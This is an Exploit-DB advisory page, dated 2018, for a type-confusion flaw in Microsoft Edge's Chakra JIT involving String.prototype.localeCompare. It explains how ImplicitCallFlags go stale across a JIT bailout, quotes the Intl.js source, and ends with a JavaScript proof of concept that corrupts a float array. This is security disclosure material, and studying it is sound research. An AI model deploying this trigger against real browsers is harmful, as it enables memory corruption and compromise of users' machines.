Microsoft Edge Chakra JIT - 'localeCompare' Type Confusion

EDB-ID:

45432




Platform:

Windows

Date:

2018-09-18


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux , the course required to become an Offensive Security Certified Professional (OSCP)

GET CERTIFIED

/*
A call to the String.prototype.localeCompare method can be inlineed when it only takes one argument. There are two versions of String.prototype.localeCompare, one [1] is written in JavaScript and the other [2] is written in C++ which just calls the JavaScript version when Intl enabled without updating ImplicitCallFlags. Since JavaScript code could be executed without touching ImplicitCallFlags, this could be exploited in a similar way to that I used for  issue 1565 .

The only usable code I could find in the JavaScript localeCompare was:
            const thatStr = String(that);

I could override the toString method of "that" which is the first parameter to execute arbitrary JavaScript code. But there was a problem that the toString method was also called in the C++ localeCompare prior to executing the JavaScript localeCompare which updated ImplicitCallFlags. Actually calling a JavaScript function can clear the flag during the initialization process [3] if profiling is enabled, but it was not for Intl.js. So I needed to find another way to exploit this.

Here's the JavaScript localeCompare.

let localeCompareStateCache;
platform.registerBuiltInFunction(tagPublicFunction("String.prototype.localeCompare", function (that, locales = undefined, options = undefined) {
    if (this === undefined || this === null) {
        platform.raiseThis_NullOrUndefined("String.prototype.localeCompare");
    }

    const thisStr = String(this);
    const thatStr = String(that);

    // Performance optimization to cache the state object and UCollator when the default arguments are provided
    // TODO(jahorto): investigate caching when locales and/or options are provided
    let stateObject;
    if (locales === undefined && options === undefined) {
        if (localeCompareStateCache === undefined) {
            localeCompareStateCache = _.create();
            InitializeCollator(localeCompareStateCache, undefined, undefined);
        }

        stateObject = localeCompareStateCache;
    } else {
        stateObject = _.create();
        InitializeCollator(stateObject, locales, options);
    }

    return platform.localeCompare(thisStr, thatStr, stateObject, /* forStringPrototypeLocaleCompare  true);
}), IntlBuiltInFunctionID.StringLocaleCompare);

My idea was to optimize the method partially, so that when it hits an unprofiled instruction, the flag gets cleared during the bailout process [4].

[1] https://github.com/Microsoft/ChakraCore/blob/40f36e301848f105291bc669f6bb13016585b0c0/lib/Runtime/Library/InJavascript/Intl.js#L984
[2] https://github.com/Microsoft/ChakraCore/blob/40f36e301848f105291bc669f6bb13016585b0c0/lib/Runtime/Library/JavascriptString.cpp#L1297
[3] https://github.com/Microsoft/ChakraCore/blob/40f36e301848f105291bc669f6bb13016585b0c0/lib/Runtime/Language/InterpreterStackFrame.cpp#L1831
[4] https://github.com/Microsoft/ChakraCore/blob/40f36e301848f105291bc669f6bb13016585b0c0/lib/Backend/BailOut.cpp#L1492


PoC:
*/

function opt(arr, s) {
    arr[0] = 1.1;

    if (s !== null) {
        let tmp = 'a'.localeCompare(s);
    }

    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1];

    for (let i = 0; i < 100; i++) {
        'a'.localeCompare('x', []);  // Optimize the JavaScript localeCompare

        opt(arr, null);  // for profiling all instructions in opt.

        try {
            opt(arr, {toString: () => {
                throw 1;  // Don't profile "if (locales === undefined && options === undefined) {"
            }});
        } catch (e) {

        }
    }

    opt(arr, {toString: () => {
        // Called twice
        arr[0] = {};
    }});

    print(arr);
}

main();